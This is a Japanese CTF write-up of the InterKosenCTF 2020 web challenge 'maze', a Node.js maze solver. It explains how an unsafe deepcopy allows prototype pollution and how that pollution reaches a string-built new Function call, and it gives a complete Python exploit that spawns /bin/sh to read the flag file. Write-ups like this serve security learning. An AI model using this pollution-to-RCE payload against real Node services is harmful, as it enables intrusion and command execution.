# maze [InterKosenCTF 2020]
###### tags: `InterKosenCTF2020` `web`

CTFer、matroskaとmaze大好き問題

## 概要

迷路をたどってくれるnode製webアプリケーションっぽい。`usage/sample.py`にもあるようにjsonをPOSTして動かす。

 {
    "map": [
        [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
        [1, 0, 0, 0, 0, 0, 0, 0, 0, 1],
        [1, 0, 1, 1, 1, 0, 1, 1, 1, 1],
        [1, 0, 0, 0, 1, 0, 1, 0, 1, 1],
        [1, 1, 1, 0, 1, 0, 0, 0, 0, 1],
        [1, 0, 0, 0, 1, 1, 1, 1, 0, 1],
        [1, 0, 1, 1, 1, 0, 0, 0, 0, 1],
        [1, 0, 1, 0, 1, 0, 1, 1, 1, 1],
        [1, 0, 0, 0, 1, 0, 0, 1, 1, 1],
        [1, 0, 1, 0, 0, 0, 0, 0, 0, 1],
        [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
    ],
    "start": (1, 1),
    "goal": (8, 9),
    "heap": "BinaryHeap"
}

node側のソースコードをざっと見た感じだと、`util.js`にある`deepcopy`は怪しそう。こういう`clone`系の関数があるとPrototype Pollutionというのができるらしい。Prototype Pollutionが何かというのは難しい話だけど、雑に言えば`v.__proto__.__proto__.x = X`というような代入をやると、`{}.x == X`になってしまうというような感じだと思う。

function is_array(obj) {
    return obj !== null && typeof obj === 'object';
}

function __deepcopy_internal(result, array) {
    for (let index in array) {
        if (is_array(result[index]) && is_array(array[index])) {
            __deepcopy_internal(result[index], array[index]);
        } else {
            result[index] = array[index];
        }
    }
    return result;
}

/**
 * deepcopy: Clone an Array object
 */
function deepcopy(obj) {
    return __deepcopy_internal(new Array(), obj);
}

module.exports = {
    deepcopy: deepcopy
};

また、`solve.js`内の`solve`関数の冒頭も文字列ベースで関数を組み立てていていかにも怪しい。

solve() {
    const comparator = (M1, M2) => { return M2.f - M1.f; }
    const heap = this.heap || 'BinaryHeap';
    var q = new Function('c', 'return new this.'+heap+'({comparator:c});')
        .bind(pq)(comparator);
    q.push(this.maze);
    var visited = [];
    ...
}

## 解法

というわけでPrototype Pollutionをやる。deepcopyがどこで使われているかを見ると`Maze`クラスの`next`という関数で`S`という変数をコピーしている。これはもともとリクエストの`start`らしいので`start["__proto__"]["__proto__"]`が生えるように細工をしていく。

Prototype Pollutionで何をしたいかというと、`Solve`クラス内の`this.heap`を変な値にしてやりたい。`new Function('c', 'return new this.BinaryHeap() + <ここに好きな式>({comparator: c})'` というように組み立てることができれば、好きな式を使ってRemote Code Executionなどができそう。

というわけでクエリの概形はこんな感じになる。heapをnullにしておくのがポイントで`BinaryHeap`などの値がすでに存在していると、`Object.prototype.heap` よりもそちらが優先されてしまう。

 {
    "map": [
        [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
        ...
        [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
    ],
    "start": {
        "0": 1,
        "1": 1,
        "__proto__": { "__proto__": { "heap": "なんか文字列" }}
    },
    "goal": (1, 2),
    "heap": null
}

また、goalできる状態にしてやることも大事になる。`solve.js`は以下のようになっているので、一度目の`solve`の呼び出してPrototype Pollutionを行い、二度目の`solve`を呼び出してRCEを引き起こすためには、一度目の`solve`で迷路が解けている必要がある。

// Solve maze
var ms = new maze.Solver(map, start, goal, heap);
var result = ms.solve() !== undefined ? ms.solve() : 'impossible';

というわけで、あとは`heap`に入れる文字列を作る。`require`　などが内部で使えないので困ったが、[ここ](https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html)などを見ながらエクスプロイトを組み立てればOK。

最終的なコードは次のようになる。

import requests
import json

HOST = 'web.kosenctf.com'
PORT = 14002

maze = {
    "map": [
        [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
        [1, 0, 0, 0, 0, 0, 0, 0, 0, 1],
        [1, 0, 1, 1, 1, 0, 1, 1, 1, 1],
        [1, 0, 0, 0, 1, 0, 1, 0, 1, 1],
        [1, 1, 1, 0, 1, 0, 0, 0, 0, 1],
        [1, 0, 0, 0, 1, 1, 1, 1, 0, 1],
        [1, 0, 1, 1, 1, 0, 0, 0, 0, 1],
        [1, 0, 1, 0, 1, 0, 1, 1, 1, 1],
        [1, 0, 0, 0, 1, 0, 0, 1, 1, 1],
        [1, 0, 1, 0, 0, 0, 0, 0, 0, 1],
        [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
    ],
    "start": {
        "0": 1,
        "1": 1,
        "__proto__": {
            "__proto__": {
                "heap": "BinaryHeap() + function(x){\
                    new (this.process.binding('process_wrap').Process)().spawn({file:'/bin/sh', args: ['-c', 'cat /flag-*'],stdio:[this.process.stdin,this.process.stdout,this.process.stdout]})\
                    }\
                }"
            }
        }
    },
    "goal": (1,2),
    "heap": null
}

r = requests.post(f"http://{HOST}:{PORT}/solve",
                  headers = {"Content-Type": "application/json"},
                  data = json.dumps(maze))
print(r.text)

## 感想

難しかった。Prototype Pollutionを理解したうえで`solve`を2回呼べることに気が付けるならそうでもないのかな。ほかの問題と比べてもlunaticでいいと思う